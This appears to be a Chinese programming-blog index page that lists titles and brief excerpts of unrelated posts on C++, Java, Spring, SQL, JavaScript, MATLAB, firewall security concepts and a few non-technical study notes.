    2、shared_ptr有时候吧，有些对象或者一部分代码需要同一个指针的拷贝。那么unique_ptr不能被拷贝，因此就不能用于些场景。这样的话，std::shared_ptr就是一个支持能够被拷贝的拥有共享属主的智能指针。但是，如果有指向同一个资源的多个shared_ptr实例，那么怎么知道什么时候去释放资源呢？这可以通过对于引用记数来解决，这个我们以后再聊。首先，让我们看一下怎么构造与使用sh
  • 【学习笔记】武志红心理学—潜意识决定命运 万万千千
    冰山一角什么构成了我们的命运？命运是由我们的显意识和潜意识来决定的。我们可以用一张图做一个比喻。看过“冰山一角”图片的都知道，潜意识就是水面以下的部分，显意识是水面以上的部分，从体积来看，潜意识占了大部分，而显意识只是冰山一角，纵向来看，庞大的潜意识支撑着冰山一角的显意识，才得以让冰山漂浮在水面。延伸到我们的人生，我们对自己显意识层面的想法很容易感知到，所以我们会说这是“我”自己做的选择。而潜意识
  • Prism 教程 yang_B621 PrismIOC
    http://t.csdnimg.cn/VXSSvhttps://blog.csdn.net/u010476739/article/details/119341731Prism-随笔分类-Hello——寻梦者！-博客园(cnblogs.com)C#IoC学习笔记-缥缈的尘埃-博客园(cnblogs.com)WPF_SchuylerEX的博客-CSDN博客
  • 绘本讲师训练营【第30期】2/21阅读原创《绘本之力》学习笔记2 郑贤钰
    30028郑贤钰今天读了绘本之力《留在灵魂里的东西》读了心里有非常大的感触！两个年幼什么都不懂的孩子，为了自己心爱的东西，攒下来自己的零花钱，却买了一个自己不知道怎么用的东西，当他们觉得这个东西根本就不好，准备扔掉的时候，这是故事中的有趣有爱的老爷爷出现了，帮助孩子们再一次发现之前别人拉出优美的音乐，原来自己买的这一个琴，自认为没用的琴也能够经过老爷爷熟练的演奏也能拉出这样优美的声音，这让孩子们十
  • 仿老师悟 耕海者
    毕业十年了，今天去拜访老师，看到老师的学习笔记，看到老师努力学习，积极提高的状态，我觉着自己真是有些懈怠了，孩子们，老师的老师都在孜孜不倦，我们岂能偷懒！
  • C++学习笔记----7、使用类与对象获得高性能（一）---- 书写类（2） 王俊山IT c++学习笔记开发语言
    2.2、定义成员函数前面对SpreadsheetCell类的定义足以让你生成类的对象。然而，如果想调用setValue()或者getValue()成员函数，连接器就会抱怨这些函数没有定义。这是因为到目前为止，这些成员函数只有原型，而还没有实现。通常，类的定义会在模块接口文件。对于成员函数的定义，你有一个选择：可以在模块定义文件或者在模块实现文件。下面是SpreadsheetCell类，在类内对成员
  • Spring6学习笔记4：事务 ·云扬· SSMJava#Spring学习笔记spring
    1JdbcTemplate1.1简介Spring框架对JDBC进行封装，使用JdbcTemplate方便实现对数据库操作准备工作①搭建子模块搭建子模块：spring-jdbc-tx②加入依赖org.springframeworkspring-jdbc6.0.2mysqlmysql-connector-java8.0.30com.alibabadruid1.2.15③创建jdbc.propertie
  • 连通无向图一般中心的算法及其matlab程序详解 夏天天天天天天天# 图论算法matlab图论
    #################本文为学习《图论算法及其MATLAB实现》的学习笔记#################若服务点只允许取在各顶点上,而服务对象却取在各顶点及各边(或弧)上的点,则在所有顶点中选定一个顶点作为图的一般中心其条件是该点离它本身的最远服务对象(包括顶点及各边(或弧)上的点)的距离达到极小值。寻找无向图的一般中心对解决网络最佳服务点确定的问题是十分有效的，使得服务对象的范围
  • 学习笔记：FW内容安全概述 TKE_yinian
    内容安全概述信息安全概述主要威胁关于防护简介内容安全威胁应用层威胁内容安全技术WEB安全应用安全入侵防御检测邮件安全数据安全网络安全反病毒全局环境感知沙箱检测信息安全概述•信息安全是对信息和信息系统进行保护，防止未授权的访问、使用、泄露、中断、修改、破坏并以此提供保密性、完整性和可用性。•为关键资产提供机密性、完整性和可用性（CIA三元组）保护是信息安全的核心目标。CIA（Confidential
  • java的socket实现一个九宫棋游戏 睡不醒的小泽
    前言一个简单的socket小作品=v=一个机酱在大三实验课中接触到很基础的JAVA语言socket编程。至于你问为什么嵌入式的机酱会弄些Java吗？emmmmm，可能是当初C语言版的不够好玩吧，另外如果碰巧有用，欢迎抱走的yoo在之前的笔记《网络基础知识和网络编程》中有讲解过关于网络编程的一些基本知识，以及一些LinuxC的socket编程，希望粗浅了解socket内部肌理的同学，右转咱的学习笔记
  • 【每日一词】D33 edge 宠辱不惊的中年少女
    1）学习笔记：edge：优势，=advantagebeanabsoluteedge有绝对优势AhasanedgeoverB表示A比B更好maintainone'sedge保持优势loseone'sedge失去优势innovativeedge创新方面的优势2）查字典延伸：A.就工作经验而言，她显然要比我们面试过的其他人都胜出一筹。Intermsofexperience,shedefinitelyha
  • ztree异步加载 3213213333332132 JavaScriptAjaxjsonWebztree
    相信新手用ztree的时候,对异步加载会有些困惑，我开始的时候也是看了API花了些时间才搞定了异步加载，在这里分享给大家。 我后台代码生成的是json格式的数据，数据大家按各自的需求生成，这里只给出前端的代码。 设置setting，这里只关注async属性的配置 var setting = { //异步加载配置
  • thirft rpc 具体调用流程 BlueSkator 中间件rpcthrift
    Thrift调用过程中，Thrift客户端和服务器之间主要用到传输层类、协议层类和处理类三个主要的核心类，这三个类的相互协作共同完成rpc的整个调用过程。在调用过程中将按照以下顺序进行协同工作：         （1）     将客户端程序调用的函数名和参数传递给协议层（TProtocol），协议
  • 异或运算推导, 交换数据 dcj3sjt126com PHP异或^
    /* * 5 0101 * 9 1010 * * 5 ^ 5 * 0101 * 0101 * ----- * 0000 * 得出第一个规律: 相同的数进行异或, 结果是0 * * 9 ^ 5 ^ 6 * 1010 * 0101 * ---- * 1111 * * 1111 * 0110 * ---- * 1001
  • 事件源对象 周华华 JavaScript
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml&q
  • MySql配置及相关命令 g21121 mysql
            MySQL安装完毕后我们需要对它进行一些设置及性能优化，主要包括字符集设置，启动设置，连接优化，表优化，分区优化等等。           一 修改MySQL密码及用户      
  • [简单]poi删除excel 2007超链接 53873039oycg Excel
          采用解析sheet.xml方式删除超链接，缺点是要打开文件2次,代码如下:      public void removeExcel2007AllHyperLink(String filePath) throws Exception { OPCPackage ocPkg = OPCPac
  • Struts2添加 open flash chart 云端月影
    准备以下开源项目： 1. Struts 2.1.6 2. Open Flash Chart 2 Version 2 Lug Wyrm Charmer (28th, July 2009) 3. jofc2，这东西不知道是没做好还是什么意思，好像和ofc2不怎么匹配，最好下源码，有什么问题直接改。 4. log4j 用eclipse新建动态网站，取名OFC2Demo，将Struts2 l
  • spring包详解 aijuans spring
    下载的spring包中文件及各种包众多，在项目中往往只有部分是我们必须的，如果不清楚什么时候需要什么包的话，看看下面就知道了。 aspectj目录下是在Spring框架下使用aspectj的源代码和测试程序文件。Aspectj是java最早的提供AOP的应用框架。 dist 目录下是Spring 的发布包，关于发布包下面会详细进行说明。 docs&nb
  • 网站推广之seo概念 antonyup_2006 算法Web应用服务器搜索引擎Google
       持续开发一年多的b2c网站终于在08年10月23日上线了。作为开发人员的我在修改bug的同时，准备了解下网站的推广分析策略。     所谓网站推广，目的在于让尽可能多的潜在用户了解并访问网站，通过网站获得有关产品和服务等信息，为最终形成购买决策提供支持。     网站推广策略有很多，seo，email，adv
  • 单例模式,sql注入,序列 百合不是茶 单例模式序列sql注入预编译
      序列在前面写过有关的博客,也有过总结,但是今天在做一个JDBC操作数据库的相关内容时 需要使用序列创建一个自增长的字段  居然不会了,所以将序列写在本篇的前面    1,序列是一个保存数据连续的增长的一种方式; 序列的创建; CREATE SEQUENCE seq_pro 2 INCREMENT BY 1 -- 每次加几个 3
  • Mockito单元测试实例 bijian1013 单元测试mockito
    Mockito单元测试实例： public class SettingServiceTest { private List<PersonDTO> personList = new ArrayList<PersonDTO>(); @InjectMocks private SettingPojoService settin
  • 精通Oracle10编程SQL(9)使用游标 bijian1013 oracle数据库plsql
    /* *使用游标 */ --显示游标 --在显式游标中使用FETCH...INTO语句 DECLARE CURSOR emp_cursor is select ename,sal from emp where deptno=1; v_ename emp.ename%TYPE; v_sal emp.sal%TYPE; begin ope
  • 【Java语言】动态代理 bit1129 java语言
      JDK接口动态代理 JDK自带的动态代理通过动态的根据接口生成字节码(实现接口的一个具体类)的方式，为接口的实现类提供代理。被代理的对象和代理对象通过InvocationHandler建立关联   package com.tom; import com.tom.model.User; import com.tom.service.IUserService;
  • Java通信之URL通信基础 白糖_ javajdkwebservice网络协议ITeye
    java对网络通信以及提供了比较全面的jdk支持，java.net包能让程序员直接在程序中实现网络通信。 在技术日新月异的现在，我们能通过很多方式实现数据通信，比如webservice、url通信、socket通信等等，今天简单介绍下URL通信。 学习准备：建议首先学习java的IO基础知识   URL是统一资源定位器的简写，URL可以访问Internet和www，可以通过url
  • 博弈Java讲义 - Java线程同步 (1) boyitech java多线程同步锁
      在并发编程中经常会碰到多个执行线程共享资源的问题。例如多个线程同时读写文件，共用数据库连接，全局的计数器等。如果不处理好多线程之间的同步问题很容易引起状态不一致或者其他的错误。    同步不仅可以阻止一个线程看到对象处于不一致的状态，它还可以保证进入同步方法或者块的每个线程，都看到由同一锁保护的之前所有的修改结果。处理同步的关键就是要正确的识别临界条件（cri
  • java-给定字符串，删除开始和结尾处的空格，并将中间的多个连续的空格合并成一个。 bylijinnan java
    public class DeleteExtraSpace { /** * 题目：给定字符串，删除开始和结尾处的空格，并将中间的多个连续的空格合并成一个。 * 方法1.用已有的String类的trim和replaceAll方法 * 方法2.全部用正则表达式，这个我不熟 * 方法3.“重新发明轮子”，从头遍历一次 */ public static v
  • An error has occurred.See the log file错误解决！ Kai_Ge MyEclipse
    今天早上打开MyEclipse时，自动关闭！弹出An error has occurred.See the log file错误提示！ 很郁闷昨天启动和关闭还好着！！！打开几次依然报此错误，确定不是眼花了！ 打开日志文件！找到当日错误文件内容： --------------------------------------------------------------------------
  • [矿业与工业]修建一个空间矿床开采站要多少钱? comsci
           地球上的钛金属矿藏已经接近枯竭...........        我们在冥王星的一颗卫星上面发现一些具有开采价值的矿床.....        那么,现在要编制一个预算,提交给财政部门..
  • 解析Google Map Routes dai_lm google api
    为了获得从A点到B点的路劲，经常会使用Google提供的API，例如 [url] http://maps.googleapis.com/maps/api/directions/json?origin=40.7144,-74.0060&destination=47.6063,-122.3204&sensor=false [/url] 从返回的结果上，大致可以了解应该怎么走，但
  • SQL还有多少“理所应当”？ datamachine sql
    转贴存档，原帖地址：http://blog.chinaunix.net/uid-29242841-id-3968998.html、http://blog.chinaunix.net/uid-29242841-id-3971046.html！ ------------------------------------华丽的分割线--------------------------------
  • Yii使用Ajax验证时，如何设置某些字段不需要验证 dcj3sjt126com Ajaxyii
    经常像你注册页面,你可能非常希望只需要Ajax去验证用户名和Email,而不需要使用Ajax再去验证密码,默认如果你使用Yii 内置的ajax验证Form,例如: $form=$this->beginWidget('CActiveForm', array(        'id'=>'usuario-form',&
  • 使用git同步网站代码 dcj3sjt126com crontabgit
    转自:http://ued.ctrip.com/blog/?p=3646?tn=gongxinjun.com   管理一网站，最开始使用的虚拟空间，采用提供商支持的ftp上传网站文件，后换用vps，vps可以自己搭建ftp的，但是懒得搞，直接使用scp传输文件到服务器，现在需要更新文件到服务器，使用scp真的很烦。发现本人就职的公司，采用的git+rsync的方式来管理、同步代码，遂
  • sql基本操作 蕃薯耀 sqlsql基本操作sql常用操作
    sql基本操作 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 蕃薯耀 2015年6月1日 17:30:33 星期一     &
  • Spring4+Hibernate4+Atomikos3.3多数据源事务管理 hanqunfeng Hibernate4
    Spring3+后不再对JTOM提供支持，所以可以改用Atomikos管理多数据源事务。Spring2.5+Hibernate3+JTOM参考：http://hanqunfeng.iteye.com/blog/1554251Atomikos官网网站：http://www.atomikos.com/   一.pom.xml <dependency> <
  • jquery中两个值得注意的方法one()和trigger()方法 jackyrong trigger
      在jquery中，有两个值得注意但容易忽视的方法，分别是one()方法和trigger()方法,这是从国内作者<<jquery权威指南》一书中看到不错的介绍 1） one方法     one方法的功能是让所选定的元素绑定一个仅触发一次的处理函数，格式为    one(type,${data},fn) &nb
  • 拿工资不仅仅是让你写代码的 lampcy 工作面试咨询
    这是我对团队每个新进员工说的第一件事情。这句话的意思是，我并不关心你是如何快速完成任务的，哪怕代码很差，只要它像救生艇通气门一样管用就行。这句话也是我最喜欢的座右铭之一。 这个说法其实很合理：我们的工作是思考客户提出的问题，然后制定解决方案。思考第一，代码第二，公司请我们的最终目的不是写代码，而是想出解决方案。 话粗理不粗。 付你薪水不是让你来思考的，也不是让你来写代码的，你的目的是交付产品
  • 架构师之对象操作----------对象的效率复制和判断是否全为空 nannan408 架构师
    1.前言。   如题。 2.代码。 (1)对象的复制，比spring的beanCopier在大并发下效率要高，利用net.sf.cglib.beans.BeanCopier Src src=new Src(); BeanCopier beanCopier = BeanCopier.create(Src.class, Des.class, false);
  • ajax 被缓存的解决方案 Rainbow702 JavaScriptjqueryAjaxcache缓存
    使用jquery的ajax来发送请求进行局部刷新画面，各位可能都做过。 今天碰到一个奇怪的现象，就是，同一个ajax请求，在chrome中，不论发送多少次，都可以发送至服务器端，而不会被缓存。但是，换成在IE下的时候，发现，同一个ajax请求，会发生被缓存的情况，只有第一次才会被发送至服务器端，之后的不会再被发送。郁闷。 解决方法如下： ① 直接使用 JQuery提供的 “cache”参数，
  • 修改date.toLocaleString()的警告 tntxia String
      我们在写程序的时候，经常要查看时间，所以我们经常会用到date.toLocaleString()，但是date.toLocaleString()是一个过时 的API，代替的方法如下：   package com.tntxia.htmlmaker.util; import java.text.SimpleDateFormat; import java.util.
  • 项目完成后的小总结 xiaomiya js总结项目
    项目完成了，突然想做个总结但是有点无从下手了。 做之前对于客户端给的接口很模式。然而定义好了格式要求就如此的愉快了。 先说说项目主要实现的功能吧 1，按键精灵 2，获取行情数据 3，各种input输入条件判断 4，发送数据（有json格式和string格式） 5，获取预警条件列表和预警结果列表， 6，排序， 7，预警结果分页获取 8，导出文件（excel，text等） 9，修
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他